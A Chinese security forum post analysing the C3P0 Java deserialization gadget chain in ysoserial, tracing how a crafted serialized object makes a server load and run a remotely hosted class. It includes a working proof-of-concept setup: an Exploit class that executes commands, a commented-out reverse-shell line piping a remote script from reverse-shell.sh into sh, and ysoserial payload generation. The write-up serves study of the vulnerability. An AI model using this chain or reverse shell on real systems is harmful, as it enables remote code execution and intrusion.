安全矩阵

 找回密码
 立即注册
搜索
查看: 863|回复: 0

C3P0反序列化链浅析

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-10-3 12:24:25 | 显示全部楼层 |阅读模式
C3P0反序列化链浅析0x0 前言
  关于C3P0反序列化链也许被很多人忽视了,网上与此相关的分析相对而言也较少,给人一种第一眼鸡肋的感觉,但是笔者有过切身经历,通过Fuzz的手段利用这个链打成功了某个站点。本文则是笔者学习此链的一些体会。
0x1 依赖
安装 ysoserial
  1. git clone https://github.com/frohoff/ysoserial.git
  2. cd ysoserial
  3. mvn clean package -DskipTests
复制代码

通过帮助信息,查看C3P0
  1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
复制代码

可以看到c3p0需要的依赖:
C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
要求:
c3p0 版本 0.9.5.2
mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包)
0x2 配置环境
1.Idea 新建一个Maven项目
2.pom.xml 添加依赖
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>com.mchange</groupId>
  4.             <artifactId>c3p0</artifactId>
  5.             <version>0.9.5.2</version>
  6.         </dependency>
  7.     </dependencies>
  8. 3.编写反序列化的Demo
复制代码
  1. import java.io.FileInputStream;
  2. import java.io.IOException;
  3. import java.io.ObjectInputStream;

  4. public class C3P0 {
  5.     public static void main(String args[]) throws IOException, ClassNotFoundException {
  6.         String path = System.getProperty("user.dir");
  7.         System.out.println(path);
  8.         ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
  9.         // trigger deserialization point
  10.         in.readObject();
  11.     }
  12. }
复制代码

4.挂载远程Exploit.Class
Exploit.java
  1. import java.lang.Runtime;
  2. import java.lang.Process;

  3. public class Exploit {
  4.     static {
  5.         try{
  6.             Runtime rt = Runtime.getRuntime();
  7.             // reverse shell
  8.             //String[] commands =  {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
  9.             String[] commands = {"bash", "-c", "open -a calculator.app"};
  10.             Process pc = rt.exec(commands);
  11.             pc.waitFor();
  12.         }catch (Exception e){
  13.             // do nothing
  14.         }
  15.     }
  16. }
复制代码

编译为class文件
javac Exploit.java
挂载Exploit.class
python3 -m http.server 9091
5.生成poc.ser
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser
6.执行反序列化
0x3 反序列化过程
这里笔者使用了两种分析思路,静态分析依赖环境少,但要求相对来说高,时间成本大点,动态分析则依赖环境搭建,要求较低,看懂代码就行,时间成本低,所以笔者一般会根据时间区间、代码复杂程度来权衡使用这两种方法。
1) 静态分析思路
通过查看ysoserial关于C3P0的注释:
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
大概可以知道这个链的流向:
第一步:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
打开Packages,可以看到各种包,我们查找下c3p0
通过给出的包结构找到了第一个触发点:readObject
先通过short version = ois.readShort();读取版本,如果可以,那么就开始调用原生的ois.readObject()进行反序列化操作,获得对象之后,触发对象的getObject方法
第二步:
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
找到这里com.mchange.v2.naming.ReferenceIndirector,我们看到ReferenceSerialized是一个私有静态类,通过第一步触发了该类的getObject方法。
可控的类属性:
  1. ReferenceSerialized( Reference   reference,
  2.                  Name        name,
  3.                  Name        contextName,
  4.                  Hashtable   env )
  5.     {
  6.         this.reference = reference;
  7.         this.name = name;
  8.         this.contextName = contextName;
  9.         this.env = env;
  10.     }
复制代码

getObject有initialContext.lookup,其中contextName参数可控,可以进行JNDI注入。
  1. public Object getObject() throws ClassNotFoundException, IOException
  2.     {
  3.         try
  4.         {
  5.             Context initialContext;
  6.             if ( env == null )
  7.             initialContext = new InitialContext();
  8.             else
  9.             initialContext = new InitialContext( env );

  10.             Context nameContext = null;
  11.             if ( contextName != null )
  12.       // vuln
  13.             nameContext = (Context) initialContext.lookup( contextName );
  14.           return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
  15.         }
  16.         catch (NamingException e)
  17.         {
  18.             //e.printStackTrace();
  19.             if ( logger.isLoggable( MLevel.WARNING ) )
  20.             logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
  21.             throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
  22.         }
  23.     }
  24.     }
复制代码

第三步:com.sun.jndi.rmi.registry.RegistryContext->lookup JNDI加载执行恶意类。
通过静态分析,我们可以大体明白C3P0的核心思路,出发点是PoolBackedDataSourceBase,落脚点是:ReferenceSerialized的getObject方法进行lookup加载可控远程恶意类。
2) 动态分析思路
这里我们直接打两个断点,用Idea进行debug分析ysoserial的加载过程。

跟进
可以很明显发现传入的对象是ReferenceSerialized类对象
但是传入的属性跟我静态分析想的不太一样,这里只传入了reference,其他为空:
然后继续单步跟进触发ReferenceSerialized类对象下的getObject方法,这里需要注意下这里有个关键的判断o是不是IndirectlySerializedS的接口实现,是的话就触发成功。
这里确实跟我静态分析不一样,并没有采用lookup进行JNDI注入,而是执行ReferenceableUtils.referenceToObject方法,单步跟进:

可以看到使用URLClassLoader方法通过远程HTTP服务远程加载类之后,利用Class.forName去实现恶意类的触发。
回顾上面的反序列化的过程:
传入一个精心构造的PoolBackedDataSourceBase类实例的序列化数据,反序列化的时候触发下面流程:
1.触发PoolBackedDataSourceBase类readObject的方法
2.原生反序列化得到ReferenceSerialized实例,自带实现IndirectlySerialized接口。
3.ReferenceSerialized实例的Reference属性包括了恶意类的加载信息
4.向下执行((IndirectlySerialized) o).getObject()触发其getObject方法,执行到ReferenceableUtils.referenceToObject( reference, name, nameContext, env )进行远程加载和调用恶意类,完成攻击。
0x4 序列化过程
直接跟进ysoserial的payload生成阶段
首先可以看到生成C3P0,我们传入的参数有固定格式:<base_url>:<classname>
http://0.0.0.0:9091/:Exploit ->经过解析之后转化为url和className
接下来:
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
上面代码通过反射获取到入口类PoolBackedDataSourceBase得到其实例b。
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
然后通过反射设置其connectionPoolDataSource属性(为什么是这个属性?这个跟payload序列化生成有关,看下文)->new PoolSource(className, url)
跟进PoolSource的实现:
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

      // constructor
        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

       // 暂时不知道具体作用
        public Reference getReference () throws NamingException {
            // 恶意类的远程加载信息
            return new Reference("exploit", this.className, this.url);
        }
      // ...实现接口中的其他函数,可以忽略
    }
其实到了这一步,可以感受到ysoserial作者对笔者技术层面进行降维打击。
笔者一直在想的是,为什么不直接自己写个代码实现ReferenceSerialized呢?

这里可以注意到PoolSource类是没有实现Serializable接口的,那么如果对这个对象进行序列化的话,过程会出错的,我们继续跟进objOut.writeObject(b);看下是怎么处理的。
调用到PoolBackedDataSourceBase类下的writeObject
这里并没有直接通过序列化得到PoolSource,而是缺乏Serializable实现,导致序列化过程失败,转而巧妙地通过indirectForm方法,来生成ReferenceSerialized类实例直接进行字节码写入。(*)
这里可以看到PoolSource 除了充当ConnectionPoolDataSource类型、在这里还进行了类型强制转换为Referenceable,故PoolSource类继承了ConnectionPoolDataSource, Referenceable这两个接口,同时实现getReference方法,将恶意类的信息加载了进去。
同时由于返回的是ReferenceSerialized实例,其自身实现IndirectlySerialized接口,故可以通过先前动态调试中的那个判断。
至此写入的序列化信息,能够在反序列化的时候进行正确类型转换,并且执行到恶意类加载。
0x5 总结
  这个链就是很巧,当时我还以为代码是刻意修改过的,后面发现这都是原生功能,ysoserial作者并没有重新实现某个类,也没有重写序列化方法,故这个神奇的链条实现方式,我自称之为魔法。
0x6 参考链接
C3P0反序列化链利用分析
c3p0的三个gadget
Modify ysoserial jar serialVersionUID
ysoserial CommonsCollections7 & C3P0 详细分析
ysoserial-C3P0 分析
注:如有侵权请联系删除

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 19:23 , Processed in 0.016623 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表